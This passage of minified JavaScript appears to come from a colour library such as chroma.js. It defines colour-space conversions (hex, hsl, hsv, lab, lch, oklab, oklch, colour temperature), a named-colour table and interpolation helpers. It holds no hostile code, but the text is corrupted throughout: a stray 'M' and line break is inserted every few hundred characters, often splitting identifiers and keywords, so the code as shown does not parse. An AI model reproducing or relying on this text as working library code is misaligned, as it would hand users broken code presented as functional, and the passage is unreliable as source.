};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
